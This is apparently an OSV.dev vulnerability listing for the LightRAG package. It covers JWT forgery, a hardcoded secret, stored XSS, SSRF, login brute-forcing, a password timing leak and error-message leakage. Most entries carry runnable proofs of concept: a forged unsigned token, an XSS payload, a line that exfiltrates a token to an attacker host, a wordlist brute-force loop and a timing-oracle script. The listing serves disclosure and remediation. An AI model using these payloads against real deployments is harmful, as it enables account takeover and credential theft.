          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 15, 2026

1.4.9.10 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

